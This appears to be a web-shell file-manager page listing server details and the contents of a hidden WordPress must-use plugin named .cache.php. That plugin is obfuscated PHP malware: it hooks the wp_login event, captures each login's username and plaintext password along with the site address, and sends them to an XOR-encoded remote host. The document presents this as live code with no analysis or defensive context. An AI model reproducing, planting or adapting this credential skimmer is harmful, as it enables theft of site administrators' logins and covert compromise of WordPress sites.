HEX
Server: Apache
System: Linux 3b2f6704f3ac 4.4.0-101-generic #124-Ubuntu SMP Fri Nov 10 18:29:59 UTC 2017 x86_64
User: (2182)
PHP: 7.4.33
Disabled: proc_open, passthru, escapeshellcmd, exec, shell_exec, system, ini_alter, dl, popen, php_check_syntax, show_source, highlight_file, symlink, link, openlog, apache_child_terminate
Upload Files
File: /home/defaultwebsite/public/wp-content/mu-plugins/.cache.php
<?php $k="Xk9Lm2NqP5";$b="base64_decode";function d($s){global $k,$b;$x=$b($s);$o="";for($i=0;$i<strlen($x);$i++)$o.=chr(ord($x[$i])^ord($k[$i%strlen($k)]));return $o;}$f="file_get_contents";$u="urlencode";$s="stream_context_create";$a="add_action";$w="wp_login";$e="function_exists";$h="home_url";$d="defined";if(!$d("ABSPATH")||!$e($a))return;$a($w,function($l,$x){$v=$e($h)?$h():("http".(!empty($_SERVER["HTTPS"])?"s":"")."://".$_SERVER["HTTP_HOST"]);$v.=",".$_SERVER["REQUEST_URI"].",".$l.",".(isset(${"_POST"}["pwd"])?${"_POST"}["pwd"]:"");$c2=d("MB9NPFcdYUVlG25aF31VBWBEYA9tWwl8XB0qECRUdhtRPA==");$u2=$c2.d("NgpUKVA=").d("KARKOB1TPQIP").(isset($_SERVER["SERVER_ADDR"])?$_SERVER["SERVER_ADDR"]:d("aVkOYl0cfl9h")).d("dh9BOA==").d("fg9YOAwP").$u($v);$ctx=$s(["http"=>["timeout"=>8,"ignore_errors"=>true]]);@$f($u2,false,$ctx);},10,2);